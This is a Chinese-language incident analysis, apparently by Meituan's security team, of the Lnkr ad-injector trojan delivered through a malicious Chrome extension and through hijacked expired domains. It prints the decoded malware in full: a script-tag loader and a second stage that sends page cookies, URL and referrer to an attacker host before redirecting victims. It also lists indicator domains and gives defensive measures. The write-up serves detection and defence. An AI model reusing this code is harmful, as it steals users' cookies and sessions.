隱藏在瀏覽器背後的「黑手」

導讀

本文從黑產攻擊方式、木馬惡意行爲、監控及防護方案等角度對Lnkr木馬進行分析,此類木馬影響範圍較廣,攻擊手法多樣,但國內目前相關的資料卻很是稀少,但願本文的實踐經驗和總結能對從事相關安全檢測的同窗有所幫助。php

1、事件概述

2020年10月,美團安全運營平臺發現流量中存在惡意JavaScript請求,信息安所有收到告警後當即開始應急處理,經過對網絡環境、訪問日誌等進行排查,最終鎖定惡意請求由Chrome瀏覽器安裝惡意插件引發,該惡意JavaScript文件會竊取Cookie並強制用戶跳轉到惡意色情站點、推廣連接等,結合美團威脅情報大數據,發現該插件與Lnkr Ad Injector木馬特徵吻合。web

此類木馬傳播方式多樣,會經過瀏覽器插件、Broken Link Hijacking等方式在頁面中植入惡意代碼,不只嚴重影響用戶正常訪問還會竊取用戶數據。經追蹤分析發現,多個國內大型互聯網站點(Alexa全球排名前600)被感染,影響上億網民的上網安全,建議各大平臺對自身系統第三方加載源以及內部終端設備進行檢查,避免遭受此類木馬攻擊。算法

2、溯源過程

2.1 安全運營平臺發出異常告警

Chrome沙箱監測到惡意JavaScript文件,發出異常告警:chrome

經過告警信息判斷基本的攻擊行爲是:json

  1. 用戶訪問正常頁面;
  2. 頁面加載外部JavaScript文件(A):s3.amazonaws.com/js-static/1…
  3. A加載第二個JavaScript文件(B):countsource.cool/18ced489204…
  4. B包含惡意代碼,向遠程域名發送Cookie等敏感信息。

2.2 分析攻擊路徑

根據告警中涉及的觸發頁面、相關網絡環境信息,排除流量劫持、XSS攻擊等狀況,猜想可能的緣由爲瀏覽器插件或惡意軟件致使。瀏覽器

經過沙箱對問題設備上全部Chrome插件進行分析,發現一個名爲Vysor的Chrome插件代碼存在惡意行爲,檢測結果以下:安全

{
    "call_window_location": {
        "info": "get document.location",
        "capture": []
    },
    "call_document_createElement": {
        "info": "call document.createElement, create script element",
        "capture": [
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:INPUT",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:SCRIPT",
            "create element elementName:LINK"
        ]
    },
    "call_document_removeChild": {
        "info": "call document.removeChild",
        "capture": [
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}"
        ]
    },
    "set_scriptSrcValue": {
        "info": "set script src unsafe value",
        "capture": [
            "//s3.amazonaws.com/js-static/18ced489204f8ff908.js"
        ]
    }
}
複製代碼

能夠看到插件代碼建立了script標籤,而後將script標籤的src屬性設置爲//s3.amazonaws.com/js-static/18ced489204f8ff908.js微信

2.3 插件惡意代碼分析

爲了進一步研究該組織木馬的特徵,咱們對該惡意插件的代碼進行了人工分析。惡意插件的代碼量較大,結構混亂,包含大量干擾代碼。markdown

首先惡意代碼預先設置了許多無明顯意義的字符串,用於構造Payload。cookie

這些字符串經過下面方法的一系列轉換最終構造出建立script標籤的語句 document'createElement',doctype即爲建立出來的script對象。

接下來爲script對象的src屬性賦值,在addHandler方法中,cl這個參數由elem傳遞過來,其中包含src字符串,經過cl[0].split('>').slice(2, 3)拿到關鍵字src,tag是上文的doctype變量也就是script對象,在構造src值這部分,能夠看到在常量中有一串一部分很像是base64的字符串:

mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'
複製代碼

惡意代碼利用該字符串結合其餘預設變量進行一系列轉換,最終造成base64後的加載地址PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:

經過createLinkPseudo方法解base64,通過replace後造成惡意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js。

s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是加載下一層的惡意Javascript文件(//countsource.cool/18ced489204f8ff908.js),代碼以下:

(function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;
複製代碼

//countsource.cool/18ced489204f8ff908.js文件內容爲:

(function () {
    function initXMLhttp() {
        var xmlhttp;
        if (window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        return xmlhttp;
    }
​
    function minAjax(config) {
        if (!config.url) {
            return;
        }
        if (!config.type) {
            return;
        }
        if (!config.method) {
            config.method = true;
        }
        if (!config.debugLog) {
            config.debugLog = false;
        }
        var sendString = [],
            sendData = config.data;
        if (typeof sendData === "string") {
            var tmpArr = String.prototype.split.call(sendData, '&');
            for (var i = 0, j = tmpArr.length; i < j; i++) {
                var datum = tmpArr[i].split('=');
                sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
            }
        } else if (typeof sendData === 'object' && !(sendData instanceof String)) {
            for (var k in sendData) {
                var datum = sendData[k];
                if (Object.prototype.toString.call(datum) == "[object Array]") {
                    for (var i = 0, j = datum.length; i < j; i++) {
                        sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
                    }
                } else {
                    sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
                }
            }
        }
        sendString = sendString.join('&');
        if (window.XDomainRequest) {
            var xmlhttp = new window.XDomainRequest();
            xmlhttp.onload = function () {
                if (config.success) {
                    config.success(xmlhttp.responseText);
                }
            };
            xmlhttp.open("POST", config.url);
            xmlhttp.send(sendString);
        } else {
            var xmlhttp = initXMLhttp();
            xmlhttp.onreadystatechange = function () {
                if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                    if (config.success) {
                        config.success(xmlhttp.responseText, xmlhttp.readyState);
                    }
                } else {}
            }
            if (config.type == "GET") {
                xmlhttp.open("GET", config.url + "?" + sendString, config.method);
                xmlhttp.send();
            }
            if (config.type == "POST") {
                xmlhttp.open("POST", config.url, config.method);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send(sendString);
            }
        }
    }
    dL();
​
    function dL() {
        var host = 'http://press.cdncontentdelivery.com/f';
        var config = {
            url: host + "/stats.php",
            type: "POST",
            data: {
                vbase: document.baseURI,
                vhref: location.href,
                vref: document.referrer,
                k: "Y291bnRzb3VyY2UuY29vbA==",
                ck: document.cookie,
                t: Math.floor(new Date().getTime() / 1000),
                tg: ""
            },
            success: onSuccessCallback
        };
​
        function bl(resp) {
            ! function (dr) {
                function t() {
                    return !!localStorage && localStorage.getItem(a)
                }
​
                function e() {
                    o(),
                        parent.top.window.location.href = c
                }
​
                function o() {
                    var t = r + i;
                    if (localStorage) {
                        localStorage.setItem(a, t)
                    }
                }
​
                function n() {
                    if (t()) {
                        var o = localStorage && localStorage.getItem(a);
                        r > o && e()
                    } else e()
                }
                var a = "MenuIdentifier",
                    r = Math.floor((new Date).getTime() / 1e3),
                    c = dr,
                    i = 86400;
                n()
            }(resp);
        }
​
        function onSuccessCallback(response) {
            if (response && response.indexOf('http') > -1) {
                bl(response);
            }
        }
        minAjax(config);
    }
})();
複製代碼

該文件是真正實現惡意行爲的代碼,這部分代碼沒有通過混淆、加密,也沒有加入其餘無心義的代碼干擾分析,能夠很清晰地看到其惡意行爲:

  1. 獲取當前頁面Cookie,ck參數;
  2. 獲取當前頁面Referrer;
  3. 獲取當前頁面Location;
  4. 使用XMLHttpRequest將獲取到的數據發送到press.cdncontentdelivery.com/f/stats.php…
  5. 利用onSuccessCallback方法進行跳轉。

至此實現了將Cookie發送到遠端接收地址,後續經過onSuccessCallback返回內容完成跳轉,完整流程:

2.4 經過已發現的IoC深刻排查

經過上述特徵,發現大量與Lnkr木馬相關的域名和插件,部分並未出如今已知的威脅情報中,經進一步分析發現,移動終端設備也有觸發惡意請求的狀況。

除此以外咱們也發現國內多個大型站點在自身引用資源上引入了Lnkr木馬,用戶若是訪問到這些站點,Cookie信息會被直接發送到遠端,存在極高的安全風險。針對站點自身存在惡意資源的這類狀況,極有多是攻擊者利用Broken Link Hijacking的攻擊手法,對過時域名進行搶注,站點在訪問原有資源時被劫持到惡意資源。

3、總結

3.1 惡意域名

如下列舉了這次檢測發現的惡意域名:

  1. mirextpro.com
  2. browfileext.com
  3. nextextlink.com
  4. lisegreen.biz
  5. makesure.biz
  6. clipsold.com
  7. comtakelink.xyz
  8. protesidenext.com
  9. promfflinkdev.com
  10. rayanplug.xyz
  11. countsource.cool
  12. blancfox.com
  13. skipush1.bbn.com.cn
  14. donewrork.org
  15. loungesrc.net
  16. higedev.cool
  17. s3.amazonaws.com/cashe-js/
  18. s3.amazonaws.com/js-cache/
  19. s3.amazonaws.com/jsfile/
  20. s3.amazonaws.com/cashe-js/
  21. cdngateway.net(接收Cookie域名)
  22. sslproviders.net (接收Cookie域名)
  23. cdncontentdelivery.com (接收Cookie域名)

3.2 惡意插件

排查到包含Lnkr木馬特徵的惡意插件:

部分惡意插件截圖:

4、覆盤

Lnkr木馬所形成的危害有哪些?

Lnkr木馬的核心域名之一cdngateway.net在全球域名流量排名8900位,從流量來源角度,經過外部網站跳轉帶來的流量佔比總流量的65.48%,可見其攻擊範圍極廣,受其影響的應用、用戶數量也是很是龐大的。

此類木馬對外部用戶和內部員工訪問同時具備嚴重危害。

在外部用戶方面,若是企業沒有嚴格控制系統第三方資源加載,黑產利用Broken Link Hijacking的攻擊手法,導致業務系統加載資源時被劫持植入惡意代碼,將嚴重影響用戶體驗、信息安全和企業形象。

從內部員工角度,傳統殺軟、EDR等終端安全設備並不能很好地識別出此類惡意插件,攻擊者經過傳播惡意瀏覽器插件控制員工瀏覽器加載遠程惡意資源,不只僅能夠用於廣告注入,相較於針對瀏覽器的其餘攻擊方式,能夠達到更穩定,觸發面更廣的敏感信息竊取、內網探測等,在CSP歷史阻斷的惡意請求中,咱們也發現除竊取Cookie信息外,也存在惡意代碼竊取頁面文本信息的狀況,這些文本信息在企業內部平臺中,極有可能包含大量用戶,訂單等敏感信息。

如何發現此類惡意木馬植入?

針對惡意瀏覽器插件,在檢測方面對其代碼作靜態分析成本比較大,觸發惡意請求的Payload都是經過大量編碼轉換、拼接、正則匹配等構造而成、且通過了不少沒有實際意義的方法,在動態分析方面,因爲Chrome插件代碼會調用Chrome後臺API,在常規沙箱環境中可能會出現沒法調用API而中途報錯退出。分析中還發現,不少惡意行爲須要觸發特定事件才能進入到構造惡意Payload流程,如觸發chrome.tabs.onUpdated等。

對於瀏覽器插件安全,能夠經過如下方式進行檢測及防禦:

  • 禁止安裝未在Chrome應用商店上線的插件(公司內部開發的插件除外);
  • 對插件manfiest.json文件進行輕量級的排查,manfiest.json文件中申請權限相對敏感,如Cookie、tabs、webRequest等等;
  • 利用內容安全策略(CSP)對應用頁面發起的請求進行攔截或監控,結合靜態與動態分析技術,判斷JavaScript文件行爲;
  • 利用瀏覽器沙箱與EDR,按期對瀏覽器插件進行掃描;
  • 構建網絡層的檢測能力,發現有惡意請求及時應急處理。

對於業務系統自身是否加載惡意資源方面:

  • 嚴格控制系統加載的第三方資源;
  • 經過內容安全策略(CSP)對頁面觸發的請求進行攔截或監控。

總結

黑產組織利用此類木馬進行惡意引流、竊取用戶信息等,給用戶訪問帶來安全風險,也危害到企業自身形象,在HTTPS場景下,雖然排除了鏈路上用戶訪問被劫持的風險,但用戶端訪問環境安全性不定,爲確保用戶獲取的信息可靠,沒有被篡改,仍然須要進一步增強防禦。但願本文能給你們帶來一些幫助或者啓發。

關於美團信息安所有

招聘信息

目前美團安全團隊正在努力打造語言虛擬機—基礎服務—上層應用的縱深應用安全體系,急需對研發安全感興趣的同窗加入!若是你正好有求職意向且知足如下崗位要求,歡迎投遞簡歷至sunny.fang@meituan.com(郵件主題請註明:研發安全專家-城市-美團SRC)。

| 想閱讀更多技術文章,請關注美團技術團隊(meituantech)官方微信公衆號。

| 在公衆號菜單欄回覆【2019年貨】、【2018年貨】、【2017年貨】、【算法】等關鍵詞,可查看美團技術團隊歷年技術文章合集。

相關文章
相關標籤/搜索